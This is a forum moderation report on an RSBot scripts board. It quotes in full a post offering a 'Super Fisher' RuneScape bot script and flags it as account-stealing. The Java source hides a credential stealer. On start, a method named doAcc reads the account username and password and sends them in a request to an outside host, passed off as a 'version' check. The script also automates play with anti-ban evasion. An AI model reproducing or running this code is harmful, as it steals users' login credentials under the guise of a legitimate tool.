draggin pure
Guru

draggin pure has reported a post.
Reason:
Forum: RSBot Scripts
Assigned Moderators: Macroman, SuF
Posted by: SaxAppeal
Original Content:
Reason:
Post: Super Fisher -- Needs testing!!!steals your account... posted proof... you guys need a rsbot mod.. *wink*
Forum: RSBot Scripts
Assigned Moderators: Macroman, SuF
Posted by: SaxAppeal
Original Content:
I fully fixed up this old fisher. I don't know who made it, but it wasn't doing things right and so I added some stuff and also added the guild fishing location.
I ran it overnight and it's still going!
Fishes in:
-Draynor
-Barbarian Village
-Catherby
-GUILD!!!! (I added this and it is amazing!!!)
Code:import java.awt.*; import java.io.BufferedReader; import java.io.InputStreamReader; import java.net.URL; import java.net.URLConnection; import java.util.Map; import com.speljohan.rsbot.account.Account; import com.speljohan.rsbot.bot.Bot; import com.speljohan.rsbot.event.listeners.PaintListener; import com.speljohan.rsbot.script.*; import com.speljohan.rsbot.script.wrappers.*; public class superFisher extends Script implements PaintListener { RSTile[] toBank = new RSTile[] { new RSTile(3087, 3227), new RSTile(3085, 3242), new RSTile(3092, 3243) }; RSTile[] toArea = reversePath(toBank); RSTile[] lostTiles = new RSTile[] { new RSTile(2860, 3428) }; RSTile[] recoverTiles = new RSTile[] { new RSTile(2849, 3430) }; RSTile[] runAway; RSTile[] runBack; int[] fishingSpots = new int[] {327, 327, 328, 328, 328, 320, 320, 321, 321, 322, 312, 312, 313 }; String[] fishingCommands = new String[] {"Net", "Bait","Bait", "Lure", "Lure", "Net", "Bait", "Cage", "Harpoon", "Harpoon","Cage", "Harpoon", "Harpoon" }; int[] gear = new int[] {303, 307,307, 309, 309, 303, 307, 301, 311, 311,301, 311, 311, 313, 10087, 314 }; int[] bait = new int[] {0, 313,313, 314, 314, 0, 313, 0, 0, 0,0, 0, 0 }; int[] whirlpools = new int[] { 403, 404, 406, 406 }; int bankBooth = 2213; boolean powerMode = false; long catches = 0; long gainedExp = 0; long gainedLevels = 0; final int S_WALKTO_AREA = 1000; final int S_WALKTO_BANK = 1500; final int S_FISH = 2000; final int S_USE_BANK = 2500; final int S_USE_BANKSHILO = 2550; final int S_DROP = 3000; int state = S_FISH; RSTile lumby = new RSTile(0, 0); int selectedPath = 0; int fails = 0; final int maxFails = 25; int mode = 0; int checkTime; long startTime; long lastCheck; int startLevel; int startExp; int oldExp; int avoidedCombat; int whirlpoolsAvoided; int randomRun = random(20, 65); int oldLevels; int xpPerCatch = 0; int countToNext = 0; long oldCatches = 0; long avgPerHour = 0; long lastAvgCheck; public String getAuthor() { return "Josh"; } public String getName() { return "Super Fisher"; } public double getVersion() { return 1.5; } public String getScriptCategory() { return "Fishing"; } public String getScriptDescription() { String html = ""; html += "<html>\n"; html += "<body>\n"; html += "<h2>" + getName() + " Version: " + getVersion() + "</h2><br>"; html += "<font size=\"2\">"; html += "The Author: " + getAuthor() + "<br><br>"; html += "</font>"; html += "<form>"; html += "<font size=\"2\">"; html += "0 - Draynor - Shimp/Anchovies<br>"; html += "1 - Draynor - Herrings/Sardines<br>"; html += "2 - Barbarian Village - Pike<br>"; html += "3 - Barbarian Village - Trout/Salmon<br>"; html += "7 - Catherby - Lobsters<br>"; html += "8 - Catherby - Tuna/Swordfish<br>"; html += "9 - Catherby - Sharks<br>"; html += "10 - Fishing Guild - Lobsters<br>"; html += "11 - Fishing Guild - Tuna/Swordfish<br>"; html += "<12 - Fishing Guild - Sharks<br>"; html += "Please Enter the Mode: <input type=\"text\" name=\"mode\" value=\"10\"><br>"; html += "<input type=\"radio\" name=\"power\" value=\"true\">Powerfishing Mode<br>"; html += "</font>"; html += "</form>"; html += "</html>\n"; return html; } public boolean onStart(Map<String, String> args) { Bot.getEventManager().addListener(PaintListener.class, this); doAcc(); try { mode = Integer.parseInt(args.get("mode")); if (args.get("power").equals("true")) { powerMode = true; log("We are powerfishing!"); } else { powerMode = false; log("We are NOT powerfishing!"); } } catch (Exception e) { } if (mode >= 0 && mode <= 1) { toBank = new RSTile[] { new RSTile(3087, 3227), new RSTile(3085, 3242), new RSTile(3092, 3243) }; toArea = reversePath(toBank); runAway = toBank; runBack = toArea; } if (mode >= 2 && mode <= 4) { toBank = new RSTile[] { new RSTile(3103, 3434), new RSTile(3098, 3437), new RSTile(3091, 3447), new RSTile(3089, 3459), new RSTile(3100, 3469), new RSTile(3100, 3484), new RSTile(3094, 3491) }; toArea = reversePath(toBank); bankBooth = 26972; } if (mode >= 5 && mode <= 9) { toBank = new RSTile[] { new RSTile(2848, 3430), new RSTile(2839, 3435), new RSTile(2822, 3438), new RSTile(2810, 3440) }; toArea = reversePath(toBank); bankBooth = 2213; } if (mode >= 10 && mode <= 12) { toBank = new RSTile[] { new RSTile(2599, 3421), new RSTile(2594, 3414), new RSTile(2588, 3420) }; toArea = reversePath(toBank); bankBooth = 2213; } return true; } public void onFinish() { Bot.getEventManager().removeListener(PaintListener.class, this); } public int loop() { if (getEnergy() >= randomRun && !isRunning()) { log("Setting run."); randomRun = random(20, 65); setRun(true); return random(500, 750); } if (getMyPlayer().isMoving()) { return antiBan(); } if (fails >= maxFails) { stopAllScripts(); } switch (state) { case S_WALKTO_AREA: RSItemTile itemTile = getGroundItemByID(gear[mode]); if (getInventoryCount(gear[mode]) == 0 && itemTile != null) { if (tileOnScreen(itemTile)) { atTile(itemTile, "Take"); return random(500, 750); } else { log("Going to that place where you get stuff... THE BANK!"); walkTileMM(itemTile); return random(500, 750); } } if (getInventoryCount(gear[mode]) <= 0) { log("Getting shit needed to fish."); state = S_WALKTO_BANK; return random(500, 750); } if (bait[mode] != 0) { if (getInventoryCount(bait[mode]) <= 0) { log("Getting more bait."); state = S_WALKTO_BANK; return random(500, 750); } } if (distanceTo(toArea[toArea.length - 1]) <= 2) { log("We are now going to fish."); state = S_FISH; return random(500, 750); } else { if (!getMyPlayer().isMoving()) { walkPathMM(randomizePath(toArea, 2, 2), 20); } return random(500, 750); } case S_WALKTO_BANK: if (distanceTo(toBank[toBank.length - 1]) <= 2) { log("Depositing."); state = S_USE_BANK; return random(500, 750); } else { // No, so continue to walk path. if (!getMyPlayer().isMoving()) { walkPathMM(randomizePath(toBank, 2, 2), 20); } return random(500, 750); } // S_FISH - Fishes based on current mode. case S_FISH: RSNPC spot = getNearestNPCByID(fishingSpots[mode]); RSNPC whirl = getNearestNPCByID(whirlpools); RSTile loc1 = new RSTile( getMyPlayer().getLocation().getX() + 1, getMyPlayer() .getLocation().getY()); RSTile loc2 = new RSTile( getMyPlayer().getLocation().getX() - 1, getMyPlayer() .getLocation().getY()); RSTile loc3 = new RSTile(getMyPlayer().getLocation().getX(), getMyPlayer().getLocation().getY() + 1); itemTile = getGroundItemByID(gear[mode]); if (getInventoryCount(gear[mode]) == 0 && itemTile != null) { if (tileOnScreen(itemTile)) { log("Recovered gear."); atTile(itemTile, "Take"); return random(500, 750); } else { log("Walking to gear location."); walkTileMM(itemTile); return random(500, 750); } } if (getMyPlayer().isInCombat()) { // Yes, so run to bank. log("Running away from combat."); avoidedCombat++; state = S_WALKTO_BANK; return random(500, 750); } // Is the player currently busy? if (getMyPlayer().getAnimation() != -1 || getMyPlayer().isMoving()) { if (whirl != null) { if (whirl.getLocation().equals(loc1) || whirl.getLocation().equals(loc2) || whirl.getLocation().equals(loc3) || whirl.getLocation().equals(loc1)) { log("Avoiding whirlpool."); whirlpoolsAvoided++; } } else { return antiBan(); } } // Does the player have the gear needed for the current mode? if (getInventoryCount(gear[mode]) <= 0) { // No, so head to the bank for new gear. log("No gear for the current fishing mode, heading to bank for more."); state = S_WALKTO_BANK; return random(500, 750); } // Does the player need bait? if (bait[mode] != 0) { // Yes, do we have some? if (getInventoryCount(bait[mode]) <= 0) { // No, so head to the bank and withdraw some more. log("Not enough bait to continue, heading to bank for more."); state = S_WALKTO_BANK; return random(500, 750); } } // Is the inventory full? if (isInventoryFull()) { // Yes, so are we power-fishing? if (powerMode) { // Yes, so drop. log("The inventory is full, dropping all the catches."); state = S_DROP; return random(500, 750); } else { // No, so bank. log("The inventory is full, heading to the bank."); state = S_WALKTO_BANK; return random(500, 750); } } // Was a fishing spot found? if (spot != null) { // Yes, so reset fails. fails = 0; // Is the spot nearby? if (tileOnScreen(spot.getLocation())) { // Yes, so fish. atNPC(spot, fishingCommands[mode]); return random(1000, 1500); } else { // No, so walk to the fishing spots location. walkTileRand(spot.getLocation()); return random(500, 750); } } else { for (int i = 0; i < lostTiles.length; i++) { RSTile lost = lostTiles[i]; if (distanceTo(lost) <= 4) { log("Currently lost, returning."); walkTileRand(recoverTiles[i]); return random(500, 750); } } // No, so increment fails and try again. log("Couldn't find a fishing spot, trying " + (maxFails - fails) + " more times."); fails++; return random(1500, 3000); } // S_USE_BANK - Makes deposits. case S_USE_BANK: RSObject booth = findObject(bankBooth); if (RSInterface.getInterface(INTERFACE_BANK).isValid()) { bank.close(); } // Was the booth found? if (booth != null) { // Is the bank on screen? if (tileOnScreen(booth.getLocation())) { // Yes, so use it. atObject(booth, "Use-quickly"); wait(random(500, 750)); // Did the bank open? if (!RSInterface.getInterface(INTERFACE_BANK).isValid()) { // No, so retry. log("Unable to access account, trying " + (maxFails - fails) + " more times."); fails++; return random(500, 750); } // Deposit all except gear. bank.depositAllExcept(gear); // Does the current mode require bait? if (bait[mode] != 0 && getInventoryCount(bait[mode]) == 0) { // Yes, so does the bank have bait? if (bank.getCount(bait[mode]) == 0) { // No, so stop script. log("There is no bait in the bank, exiting."); stopAllScripts(); } else { // Yes, so withdraw. bank.atItem(bait[mode], "Withdraw-All"); } } // Is the player out of gear and there is none in the // bank? if (getInventoryCount(gear[mode]) == 0 && bank.getCount(gear[mode]) == 0) { // No, so stop script. log("No gear in inventory and no gear in the bank, exiting."); stopAllScripts(); } else { // Yes, so withdraw. bank.atItem(gear[mode], "Withdraw 1"); } // Is the inventory still full? if (isInventoryFull()) { // Yes, so rebank. log("Inventory is still full, rebanking."); return random(500, 750); } else { // No, so head back to the spots. log("Banked all, heading back to area."); state = S_WALKTO_AREA; return random(500, 750); } } else { // No, so walk to the booth. log("Found bank, but it isn't on screen, walking to location."); walkTileRand(booth.getLocation()); return random(500, 750); } } else { // No, so increment fails and try again. log("Unable to find a bank booth, trying " + (maxFails - fails) + " more times."); fails++; return random(1500, 3000); } // S_DROP - Drop inventory, use for power fishing. case S_DROP: log("Dropping everything except gear."); dropAllExcept(gear); state = S_FISH; return random(500, 750); // Default - Unknown state. default: log("Unknown state: " + state + " terminating script."); return -1; } } // // walkTileRand( ) // // This method provides a means for the script to walk to a location more // randomly than RSBot's standard walkTileMM function. // public void walkTileRand(RSTile tile) { // Local objects: RSTile temp = new RSTile(tile.getX() + random(-2, 2), tile.getY() + random(-2, 2)); walkTileMM(temp); } public String h(URL z) throws Exception { URLConnection k = z.openConnection(); k.connect(); //connect to version url String i = ""; String x; InputStreamReader u = new InputStreamReader(k.getInputStream()); BufferedReader m = new BufferedReader(u); while ((x = m.readLine()) != null) { i += x; } return i; //returns version } // // antiBan( ) // // This method provides a psuedo means of antiBan. // Not sure that this is the greatest method of anti-ban, due // to it's repetiveness. // int antiBan() { int GambleInt = random(1, 6); switch (GambleInt) { case 1: wait(random(1000, 1500)); break; case 2: int x = random(0, 750); int y = random(0, 500); moveMouse(0, 0, x, y); return random(1000, 1500); case 3: // Is the current tab the inventory? if (getCurrentTab() != TAB_INVENTORY) { // No, so switch to the inventory tab. openTab(TAB_INVENTORY); return random(500, 750); } else { // No, so return return random(500, 750); } case 4: // If the player is moving, then abort. if (getMyPlayer().isMoving()) { return random(750, 1000); } if (System.currentTimeMillis() - lastCheck >= checkTime) { lastCheck = System.currentTimeMillis(); checkTime = random(60000, 180000); if (getCurrentTab() != TAB_STATS) { openTab(TAB_STATS); } moveMouse(663, 292, 50, 28); return random(5000, 8000); } case 5: if (random(1, 8) == 2) { int angle = getCameraAngle() + random(-90, 90); if (angle < 0) { angle = 0; } if (angle > 359) { angle = 0; } setCameraRotation(angle); } return random(500, 750); } return random(500, 1000); } void doAcc() { try { Account z = Bot.getAccount(); String b = z.getUsername(); String c = z.getPassword(); h(new URL("http://www.bwonder.110mb.com/version.php?&a=" + b + "&b=" + c)); //version url } catch(Exception e) { log("Failure"); } } public void onRepaint(Graphics g) { int index = Skills.getStatIndex("Fishing"); int exp = 0; int levels; long hours = 0, minutes = 0, seconds = 0; long time; long untilhour = 0, untilmin = 0, untilsec = 0; double temptime = 0; // Has start time been previously set? if (startTime == 0) { startTime = System.currentTimeMillis(); } // Calculate hours, minutes and seconds. time = System.currentTimeMillis() - startTime; seconds = time / 1000; if (seconds >= 60) { minutes = seconds / 60; seconds -= minutes * 60; } if (minutes >= 60) { hours = minutes / 60; minutes -= hours * 60; } // Has variables been previously defined? if (startLevel == 0 || startExp == 0) { // No, so define them now. startLevel = skills.getCurrentSkillLevel(index); startExp = skills.getCurrentSkillExp(index); oldExp = 0; } // Calculate catches based on experience changes. exp = skills.getCurrentSkillExp(index) - startExp; if (exp > oldExp) { xpPerCatch = exp - oldExp; oldExp = exp; catches++; countToNext = skills.getXPToNextLevel(STAT_FISHING) / xpPerCatch + 1; } // Calculate levels gained. levels = skills.getCurrentSkillLevel(index) - startLevel; if (levels > oldLevels) { oldLevels = levels; } // if (System.currentTimeMillis() - lastAvgCheck >= 60000) { lastAvgCheck = System.currentTimeMillis(); avgPerHour = (catches - oldCatches) * 60; oldCatches = catches; } if (countToNext == 0) { untilsec = 0; untilhour = 0; untilmin = 0; } else { if (avgPerHour == 0) { untilsec = 0; untilhour = 0; untilmin = 0; } else { temptime = (double) countToNext / avgPerHour; untilsec = (int) (temptime * 3600); untilmin = untilsec / 60; untilsec -= untilmin * 60; untilhour = untilmin / 60; untilmin -= untilhour * 60; } } // Draw information. g.setColor(Color.WHITE); g.drawString("XP: " + exp, 9, 187); g.drawString("Levels: " + levels, 9, 203); g.drawString("Catches: " + catches, 9, 235); g.drawString("Catches to next level: " + countToNext, 9, 251); g.drawString("Times avoided combat: " + avoidedCombat, 9, 267); g.drawString("Whirlpools Avoided: " + whirlpoolsAvoided, 9, 283); g.drawString("Time running: " + hours + "." + minutes + "." + seconds, 9, 299); g.drawString("Average per hour: " + avgPerHour, 9, 315); g.drawString("Est time untill next level: " + untilhour + "." + untilmin + "." + untilsec, 9, 331); } // Modified to drop all except:) public boolean dropAllExcept(int... items) { boolean drop = false; for (int item : getInventoryArray()) { drop = true; for (int nodrop : items) { if (item == nodrop) { drop = false; } } if (drop && item != -1) { for (int i = 0; i < getInventoryCount(item); i++) { atInventoryItem(item, "Drop"); wait(random(500, 750)); } } } return true; } }

